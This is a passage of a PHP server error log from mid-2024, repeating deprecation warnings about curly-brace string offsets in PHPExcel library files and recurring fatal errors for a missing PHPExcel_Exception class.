braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 539 [29-May-2024 21:49:50 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 541 [29-May-2024 21:49:50 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 542 [29-May-2024 21:49:54 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/Functions.php on line 321 [29-May-2024 21:49:54 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/Functions.php on line 324 [29-May-2024 21:49:54 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/Functions.php on line 562 [29-May-2024 21:49:54 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/Functions.php on line 612 [29-May-2024 21:49:54 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 526 [29-May-2024 21:49:54 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 527 [29-May-2024 21:49:54 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 538 [29-May-2024 21:49:54 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 539 [29-May-2024 21:49:54 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 541 [29-May-2024 21:49:54 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 542 [29-May-2024 21:49:58 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 526 [29-May-2024 21:49:58 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 527 [29-May-2024 21:49:58 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 538 [29-May-2024 21:49:58 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 539 [29-May-2024 21:49:58 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 541 [29-May-2024 21:49:58 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 542 [29-May-2024 21:50:02 UTC] PHP Fatal error: Uncaught Error: Class 'PHPExcel_Exception' not found in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/Exception.php:28 Stack trace: #0 {main} thrown in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/Exception.php on line 28 [29-May-2024 21:50:18 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/TextData.php on line 43 [29-May-2024 21:50:18 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/TextData.php on line 43 [29-May-2024 21:50:18 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/TextData.php on line 44 [29-May-2024 21:50:18 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/TextData.php on line 45 [29-May-2024 21:50:18 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/TextData.php on line 45 [29-May-2024 21:50:18 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/TextData.php on line 46 [29-May-2024 21:50:18 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/TextData.php on line 46 [29-May-2024 21:50:18 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/TextData.php on line 47 [29-May-2024 21:50:18 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/TextData.php on line 47 [29-May-2024 21:50:18 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/TextData.php on line 48 [29-May-2024 21:50:18 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/TextData.php on line 48 [29-May-2024 21:50:18 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/TextData.php on line 48 [29-May-2024 21:50:18 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/TextData.php on line 49 [29-May-2024 21:50:18 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/TextData.php on line 49 [29-May-2024 21:50:18 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/TextData.php on line 50 [29-May-2024 21:50:18 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/TextData.php on line 50 [29-May-2024 21:50:18 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/TextData.php on line 50 [29-May-2024 21:50:18 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/TextData.php on line 50 [29-May-2024 21:50:18 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/TextData.php on line 51 [29-May-2024 21:50:18 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/TextData.php on line 51 [29-May-2024 21:50:18 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/TextData.php on line 52 [29-May-2024 21:50:18 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/TextData.php on line 52 [29-May-2024 21:50:18 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/TextData.php on line 52 [29-May-2024 21:50:18 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/TextData.php on line 52 [29-May-2024 21:50:18 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/TextData.php on line 52 [29-May-2024 21:50:18 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/TextData.php on line 53 [29-May-2024 21:50:18 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/TextData.php on line 53 [29-May-2024 21:50:18 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/TextData.php on line 54 [29-May-2024 21:50:18 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/TextData.php on line 54 [29-May-2024 21:50:18 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/TextData.php on line 54 [29-May-2024 21:50:18 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/TextData.php on line 54 [29-May-2024 21:50:18 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/TextData.php on line 54 [29-May-2024 21:50:18 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/TextData.php on line 54 [29-May-2024 21:50:18 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/TextData.php on line 55 [29-May-2024 21:50:18 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/TextData.php on line 55 [29-May-2024 21:50:18 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 526 [29-May-2024 21:50:18 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 527 [29-May-2024 21:50:18 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 538 [29-May-2024 21:50:18 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 539 [29-May-2024 21:50:18 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 541 [29-May-2024 21:50:18 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 542 [29-May-2024 21:50:22 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 526 [29-May-2024 21:50:22 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 527 [29-May-2024 21:50:22 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 538 [29-May-2024 21:50:22 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 539 [29-May-2024 21:50:22 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 541 [29-May-2024 21:50:22 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 542 [29-May-2024 21:50:30 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 526 [29-May-2024 21:50:30 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 527 [29-May-2024 21:50:30 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 538 [29-May-2024 21:50:30 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 539 [29-May-2024 21:50:30 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 541 [29-May-2024 21:50:30 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 542 [29-May-2024 21:50:34 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 526 [29-May-2024 21:50:34 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 527 [29-May-2024 21:50:34 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 538 [29-May-2024 21:50:34 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 539 [29-May-2024 21:50:34 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 541 [29-May-2024 21:50:34 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 542 [29-May-2024 21:50:58 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 526 [29-May-2024 21:50:58 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 527 [29-May-2024 21:50:58 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 538 [29-May-2024 21:50:58 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 539 [29-May-2024 21:50:58 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 541 [29-May-2024 21:50:58 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 542 [29-May-2024 21:51:02 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/Engineering.php on line 771 [29-May-2024 21:51:02 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/Engineering.php on line 771 [29-May-2024 21:51:02 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/Engineering.php on line 812 [29-May-2024 21:51:02 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/Engineering.php on line 815 [29-May-2024 21:51:02 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/Engineering.php on line 818 [29-May-2024 21:51:02 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/Engineering.php on line 821 [29-May-2024 21:51:02 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 526 [29-May-2024 21:51:02 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 527 [29-May-2024 21:51:02 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 538 [29-May-2024 21:51:02 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 539 [29-May-2024 21:51:02 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 541 [29-May-2024 21:51:02 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 542 [29-May-2024 21:51:30 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/FormulaParser.php on line 162 [29-May-2024 21:51:30 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/FormulaParser.php on line 184 [29-May-2024 21:51:30 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/FormulaParser.php on line 185 [29-May-2024 21:51:30 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/FormulaParser.php on line 194 [29-May-2024 21:51:30 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/FormulaParser.php on line 204 [29-May-2024 21:51:30 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/FormulaParser.php on line 205 [29-May-2024 21:51:30 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/FormulaParser.php on line 212 [29-May-2024 21:51:30 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/FormulaParser.php on line 222 [29-May-2024 21:51:30 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/FormulaParser.php on line 225 [29-May-2024 21:51:30 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/FormulaParser.php on line 233 [29-May-2024 21:51:30 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/FormulaParser.php on line 244 [29-May-2024 21:51:30 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/FormulaParser.php on line 246 [29-May-2024 21:51:30 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/FormulaParser.php on line 247 [29-May-2024 21:51:30 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/FormulaParser.php on line 257 [29-May-2024 21:51:30 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/FormulaParser.php on line 268 [29-May-2024 21:51:30 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/FormulaParser.php on line 279 [29-May-2024 21:51:30 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/FormulaParser.php on line 286 [29-May-2024 21:51:30 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/FormulaParser.php on line 299 [29-May-2024 21:51:30 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/FormulaParser.php on line 318 [29-May-2024 21:51:30 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/FormulaParser.php on line 340 [29-May-2024 21:51:30 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/FormulaParser.php on line 361 [29-May-2024 21:51:30 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/FormulaParser.php on line 368 [29-May-2024 21:51:30 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/FormulaParser.php on line 388 [29-May-2024 21:51:30 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/FormulaParser.php on line 393 [29-May-2024 21:51:30 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/FormulaParser.php on line 399 [29-May-2024 21:51:30 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/FormulaParser.php on line 404 [29-May-2024 21:51:30 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/FormulaParser.php on line 410 [29-May-2024 21:51:30 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/FormulaParser.php on line 426 [29-May-2024 21:51:30 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/FormulaParser.php on line 447 [29-May-2024 21:51:30 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/FormulaParser.php on line 463 [01-Jun-2024 14:27:25 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 526 [01-Jun-2024 14:27:25 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 527 [01-Jun-2024 14:27:25 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 538 [01-Jun-2024 14:27:25 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 539 [01-Jun-2024 14:27:25 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 541 [01-Jun-2024 14:27:25 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 542 [01-Jun-2024 14:34:09 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 526 [01-Jun-2024 14:34:09 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 527 [01-Jun-2024 14:34:09 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 538 [01-Jun-2024 14:34:09 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 539 [01-Jun-2024 14:34:09 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 541 [01-Jun-2024 14:34:09 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 542 [10-Jun-2024 07:32:59 UTC] PHP Fatal error: Uncaught Error: Class 'PHPExcel_Exception' not found in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/Exception.php:28 Stack trace: #0 {main} thrown in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/Exception.php on line 28 [11-Jun-2024 09:47:36 UTC] PHP Fatal error: Uncaught Error: Class 'PHPExcel_Exception' not found in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/Exception.php:28 Stack trace: #0 {main} thrown in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/Exception.php on line 28 [12-Jun-2024 12:12:27 UTC] PHP Fatal error: Uncaught Error: Class 'PHPExcel_Exception' not found in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/Exception.php:28 Stack trace: #0 {main} thrown in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/Exception.php on line 28 [17-Jun-2024 01:20:26 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 526 [17-Jun-2024 01:20:26 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 527 [17-Jun-2024 01:20:26 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 538 [17-Jun-2024 01:20:26 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 539 [17-Jun-2024 01:20:26 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 541 [17-Jun-2024 01:20:26 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 542 [17-Jun-2024 01:20:26 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 526 [17-Jun-2024 01:20:26 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 527 [17-Jun-2024 01:20:26 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 538 [17-Jun-2024 01:20:26 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 539 [17-Jun-2024 01:20:26 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 541 [17-Jun-2024 01:20:26 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 542 [17-Jun-2024 01:20:26 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/Engineering.php on line 771 [17-Jun-2024 01:20:26 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/Engineering.php on line 771 [17-Jun-2024 01:20:26 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/Engineering.php on line 812 [17-Jun-2024 01:20:26 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/Engineering.php on line 815 [17-Jun-2024 01:20:26 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/Engineering.php on line 818 [17-Jun-2024 01:20:26 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/Engineering.php on line 821 [17-Jun-2024 01:20:26 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 526 [17-Jun-2024 01:20:26 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 527 [17-Jun-2024 01:20:26 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 538 [17-Jun-2024 01:20:26 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 539 [17-Jun-2024 01:20:26 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 541 [17-Jun-2024 01:20:26 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 542 [17-Jun-2024 01:20:27 UTC] PHP Fatal error: Uncaught Error: Class 'PHPExcel_Exception' not found in 